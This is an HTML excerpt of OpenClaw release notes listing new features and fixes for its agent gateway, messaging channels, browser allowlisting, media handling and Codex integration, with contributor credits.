<li>Gateway/performance: add <code>pnpm test:restart:gateway</code> benchmark tooling for repeated restart readiness, downtime, trace, and resource-slope evidence. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465177384" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83299" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83299/hovercard" href="https://github.com/openclaw/openclaw/pull/83299">#83299</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Android: switch Talk Mode to realtime Gateway relay voice sessions with streaming mic input, realtime audio playback, tool-result bridging, and on-screen transcripts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463811067" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83130" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83130/hovercard" href="https://github.com/openclaw/openclaw/pull/83130">#83130</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sliekens/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sliekens">@sliekens</a>.</li>
<li>Gateway/config: expose config lookup reload metadata so tools can distinguish restart-required, hot-reloadable, and no-op fields before applying config edits. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4438060145" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81409" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81409/hovercard" href="https://github.com/openclaw/openclaw/issues/81409">#81409</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4442609432" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81612" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81612/hovercard" href="https://github.com/openclaw/openclaw/pull/81612">#81612</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LLagoon3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LLagoon3">@LLagoon3</a>.</li>
<li>Telegram: add allowlisted native DM draft previews for transient tool progress while keeping final answers on the normal persistent delivery path. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469802375" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83622" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83622/hovercard" href="https://github.com/openclaw/openclaw/pull/83622">#83622</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/akrimm702/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/akrimm702">@akrimm702</a>.</li>
<li>QA-Lab: add a personal-agent share-safe diagnostics artifact scenario so support handoffs keep useful status while omitting raw personal content. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iFiras-Max1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iFiras-Max1">@iFiras-Max1</a>.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Memory/search: scan the JS-side fallback vector path (used when the sqlite-vec index is unavailable or has a mismatched dimension) in bounded rowid batches and yield to the event loop between batches so large chunk tables can no longer pin the Node.js main thread for multi-second windows. Also keeps the SQL prepared statement rooted in a local so node:sqlite cannot finalize it mid-scan under heap pressure. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432718295" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81172" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81172/hovercard" href="https://github.com/openclaw/openclaw/issues/81172">#81172</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dev23xyz-oss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dev23xyz-oss">@dev23xyz-oss</a>.</li>
<li>CLI/update: bypass npm freshness filters consistently during managed package and plugin installs so freshly published release plugins remain installable. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jalehman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jalehman">@jalehman</a>.</li>
<li>Agents/subagents: keep collect-mode announce queues batching unresolved-origin items with compatible same-route messages and resume collection after a true cross-channel drain when a later compatible batch remains. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4468716265" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83577" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83577/hovercard" href="https://github.com/openclaw/openclaw/issues/83577">#83577</a>.</li>
<li>Providers/Anthropic: preserve native image input for current Claude model rows when stale local catalog data marks them text-only. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4472508905" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83756" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83756/hovercard" href="https://github.com/openclaw/openclaw/pull/83756">#83756</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Control UI: render live tool progress from session-scoped <code>session.tool</code> Gateway events so externally started runs show their tool cards in the active session. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4471865132" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83734" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83734/hovercard" href="https://github.com/openclaw/openclaw/pull/83734">#83734</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Outbound: resolve send-capable channel plugins from the active runtime registry when the pinned startup registry only has setup metadata. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4471864947" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83733" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83733/hovercard" href="https://github.com/openclaw/openclaw/pull/83733">#83733</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Browser: enforce current-tab URL allowlist checks for <code>/act</code> evaluate/batch actions and <code>/highlight</code> routes while leaving tab-management actions unblocked. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4392533668" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78523" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/78523/hovercard" href="https://github.com/openclaw/openclaw/pull/78523">#78523</a>)</li>
<li>CI: require real-behavior-proof verdict markers to come from the ClawSweeper GitHub App before accepting exact-head proof. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4470892805" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83692" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83692/hovercard" href="https://github.com/openclaw/openclaw/pull/83692">#83692</a>)</li>
<li>Models: show the effective OpenAI/Codex auth profile in <code>/models</code> provider headers instead of falling back to the OpenAI env-key label. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4470946100" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83697" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83697/hovercard" href="https://github.com/openclaw/openclaw/pull/83697">#83697</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yu-xin-c/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yu-xin-c">@yu-xin-c</a>.</li>
<li>Browser: keep a profile <code>cdpPort</code> when its <code>cdpUrl</code> omits a port, while still letting explicitly written URL ports win. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4454473920" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82166" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82166/hovercard" href="https://github.com/openclaw/openclaw/pull/82166">#82166</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Marvae/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Marvae">@Marvae</a>.</li>
<li>Agents/image generation: allow distinct <code>image_generate</code> prompts to start separate session-backed background tasks while same-prompt retries still return the active task status. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469561038" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83614" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83614/hovercard" href="https://github.com/openclaw/openclaw/pull/83614">#83614</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Elarwei001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Elarwei001">@Elarwei001</a>.</li>
<li>Gateway/WebChat: honor configured <code>channels.webchat.textChunkLimit</code> and <code>chunkMode</code> overrides when chunking WebChat replies. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4471165614" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83713" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83713/hovercard" href="https://github.com/openclaw/openclaw/pull/83713">#83713</a>)</li>
<li>Control UI: stop the chat reading indicator from sticking after an assistant response finishes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467410605" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83515" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83515/hovercard" href="https://github.com/openclaw/openclaw/pull/83515">#83515</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/njuboy11/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/njuboy11">@njuboy11</a>.</li>
<li>Skills: reject empty or whitespace-only skill names and descriptions during quick validation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3992930563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/27061" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/27061/hovercard" href="https://github.com/openclaw/openclaw/pull/27061">#27061</a>)</li>
<li>Sessions: skip trailing custom transcript entries when checking tail assistant replies so embedded CLI gap-fill does not duplicate canonical assistant output. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469910900" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83635" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83635/hovercard" href="https://github.com/openclaw/openclaw/pull/83635">#83635</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yaoyi1222/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yaoyi1222">@yaoyi1222</a>.</li>
<li>Memory Wiki: keep <code>wiki_lint</code> tool output path-safe by reporting vault-internal lint reports as relative paths in tool text and details while preserving absolute report paths for CLI/file callers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466350048" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83439" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83439/hovercard" href="https://github.com/openclaw/openclaw/pull/83439">#83439</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LLagoon3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LLagoon3">@LLagoon3</a>.</li>
<li>Telegram: keep verbose tool progress visible without mirroring non-final progress into active session transcripts, preventing embedded provider replies from aborting mid-run. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469858032" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83631" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83631/hovercard" href="https://github.com/openclaw/openclaw/pull/83631">#83631</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kurplunkin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kurplunkin">@kurplunkin</a>.</li>
<li>Telegram: log successful outbound text and media deliveries with account, chat, message, operation, thread, reply, silent, and chunk metadata while keeping message bodies out of logs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464232340" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83196" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83196/hovercard" href="https://github.com/openclaw/openclaw/issues/83196">#83196</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464712841" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83247" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83247/hovercard" href="https://github.com/openclaw/openclaw/pull/83247">#83247</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jrwrest/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jrwrest">@jrwrest</a>.</li>
<li>Cron: link isolated scheduled task runs to their stable cron session so task status and cleanup can follow the backing agent run. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469405023" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83606" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83606/hovercard" href="https://github.com/openclaw/openclaw/pull/83606">#83606</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jai">@jai</a>.</li>
<li>CLI: enforce the documented Node.js 22.19 runtime floor in the source launcher.</li>
<li>Release stability: repair broad-gate regressions in requester-agent completion handoff, QA-Lab mock spawn attribution, Slack monitor test isolation, plugin uninstall peer fixtures, and Node-floor launcher contract coverage.</li>
<li>Agents/replies: persist queued follow-up user messages and assistant error stubs only once across model-fallback retries, preventing repeated provider rejections from corrupted same-role session transcripts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465972914" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83404" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83404/hovercard" href="https://github.com/openclaw/openclaw/issues/83404">#83404</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466078721" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83417" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83417/hovercard" href="https://github.com/openclaw/openclaw/pull/83417">#83417</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yetval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yetval">@yetval</a>.</li>
<li>Slack: persist delivered inbound message IDs and fail closed when same-channel thread replies lose their thread context, preventing delayed duplicate replies and accidental channel-root posts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467465571" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83521" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83521/hovercard" href="https://github.com/openclaw/openclaw/issues/83521">#83521</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannon0430/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannon0430">@shannon0430</a>.</li>
<li>Codex app-server: complete OpenClaw dynamic tool diagnostics at the request boundary so successful, failed, timed out, aborted, and blocked tool calls do not leave active tool state behind. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466827129" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83474" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83474/hovercard" href="https://github.com/openclaw/openclaw/issues/83474">#83474</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rozmiarD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rozmiarD">@rozmiarD</a>.</li>
<li>Gateway/config: keep config writes from failing on unrelated unresolved auth-profile SecretRefs while preserving live auth-profile runtime snapshots.</li>
<li>Gateway/sessions: clear stored CLI provider resume bindings on non-subagent <code>/reset</code> so the next turn starts a fresh provider-side CLI conversation instead of resuming old context. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466450765" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83448" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83448/hovercard" href="https://github.com/openclaw/openclaw/pull/83448">#83448</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jasonyliu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jasonyliu">@jasonyliu</a>.</li>
<li>Doctor: preserve legacy whole-agent Claude CLI intent by moving matching Anthropic model selections to model-scoped runtime policy before removing stale runtime pins. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467068699" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83491" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83491/hovercard" href="https://github.com/openclaw/openclaw/issues/83491">#83491</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/danielcrick/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/danielcrick">@danielcrick</a>.</li>
<li>Discord/OpenAI: keep realtime Discord voice sessions hearing follow-up turns with OpenAI realtime and prebuffer assistant playback to avoid choppy starts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4417674952" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80505" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80505/hovercard" href="https://github.com/openclaw/openclaw/pull/80505">#80505</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Solvely-Colin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Solvely-Colin">@Solvely-Colin</a>.</li>
<li>LM Studio: resolve env-template API keys like <code>${LMSTUDIO_API_KEY}</code> through the standard SecretInput path instead of sending the raw template as the bearer token, and preserve header-auth and discovery-key precedence when the template is unset. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4417527708" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80495" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80495/hovercard" href="https://github.com/openclaw/openclaw/issues/80495">#80495</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4418547191" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80568" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80568/hovercard" href="https://github.com/openclaw/openclaw/pull/80568">#80568</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MonkeyLeeT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MonkeyLeeT">@MonkeyLeeT</a>.</li>
<li>Discord/subagents: route the initial reply from thread-bound delegated sessions into the bound Discord thread instead of the parent channel. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464042454" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83170" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83170/hovercard" href="https://github.com/openclaw/openclaw/issues/83170">#83170</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464046468" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83172" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83172/hovercard" href="https://github.com/openclaw/openclaw/pull/83172">#83172</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100menotu001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100menotu001">@100menotu001</a>.</li>
<li>Gateway/sessions: rotate failed agent sessions when their transcript file is missing instead of wedging per-channel lanes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467000680" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83488" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83488/hovercard" href="https://github.com/openclaw/openclaw/issues/83488">#83488</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4468120214" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83553" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83553/hovercard" href="https://github.com/openclaw/openclaw/pull/83553">#83553</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LLagoon3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LLagoon3">@LLagoon3</a>.</li>
<li>Media: prevent image metadata probing from invoking external decoder delegates on unrecognized image bytes, and stop fallback chaining after real processing errors.</li>
<li>Media: install Sharp with the root package and fall back to sips, Windows native imaging, ImageMagick, GraphicsMagick, or ffmpeg for image resizing/conversion when Sharp is unavailable. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465939099" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83401" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83401/hovercard" href="https://github.com/openclaw/openclaw/issues/83401">#83401</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scotthuang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scotthuang">@scotthuang</a>.</li>
<li>Telegram: deliver generated media completions back into forum topics by preserving topic IDs across requester-agent handoff. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4468244035" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83556" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83556/hovercard" href="https://github.com/openclaw/openclaw/pull/83556">#83556</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Gateway: defer update-check startup until after readiness so package update checks no longer block sidecar-ready startup, while preserving update broadcasts and shutdown cleanup. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467462415" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83520" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83520/hovercard" href="https://github.com/openclaw/openclaw/pull/83520">#83520</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Telegram: keep <code>/btw</code> and read-only status commands from aborting active runs, and avoid retaining raw update payloads in timed-out spool tombstones. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464995305" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83272" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83272/hovercard" href="https://github.com/openclaw/openclaw/issues/83272">#83272</a>.</li>
<li>Agents: log strict-agentic execution contract diagnostics only when the planning-only retry path actually triggers.</li>
<li>Agents: stop embedded session takeover and session write-lock errors from consuming model fallbacks while preserving provider fallback metadata. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467367566" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83510" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83510/hovercard" href="https://github.com/openclaw/openclaw/issues/83510">#83510</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luyao618/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luyao618">@luyao618</a>.</li>
<li>Agents/video: hide <code>video_generate</code> reference-audio parameters unless a registered video provider supports audio inputs.</li>
<li>Plugins: fall back to npm for official ClawHub updates when artifact downloads are unavailable, including beta-to-default fallback and dry-run version reporting.</li>
<li>Plugins/xAI: echo PKCE challenge fields during OAuth authorization-code token exchange for xAI token-endpoint compatibility. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467208552" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83499" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83499/hovercard" href="https://github.com/openclaw/openclaw/pull/83499">#83499</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Codex app-server: hydrate current inbound image attachments before queued runs so Responses-backed agents receive Discord and other channel images as native vision input. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466691440" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83466" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83466/hovercard" href="https://github.com/openclaw/openclaw/issues/83466">#83466</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iannwu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iannwu">@iannwu</a>.</li>
<li>Codex app-server: keep native code mode available without forcing code-mode-only so OpenClaw dynamic tool turns complete through the app-server tool bridge. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463653395" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83109" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83109/hovercard" href="https://github.com/openclaw/openclaw/issues/83109">#83109</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/daswass/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/daswass">@daswass</a>.</li>
<li>Release stability: recover stale session diagnostics and Codex OAuth fallback state so stuck runs and reused refresh tokens clear without blocking follow-up work. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467223870" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83503" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83503/hovercard" href="https://github.com/openclaw/openclaw/pull/83503">#83503</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Messages/TTS: apply TTS directives before message-tool sends reach core, gateway, or plugin delivery so opt-in message-tool rooms and proactive sends attach voice notes instead of leaking raw tags. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4442404677" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81598" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81598/hovercard" href="https://github.com/openclaw/openclaw/issues/81598">#81598</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CG-Intelligence-Agent-Jack/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CG-Intelligence-Agent-Jack">@CG-Intelligence-Agent-Jack</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CoronovirusG10/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CoronovirusG10">@CoronovirusG10</a>.</li>
<li>Messages/Codex: keep Codex direct/source chats on message-tool visible delivery by default while documenting and testing <code>messages.visibleReplies: "automatic"</code> as the old-mode opt-out; channel wildcard model overrides now apply to direct chats before harness delivery defaults.</li>
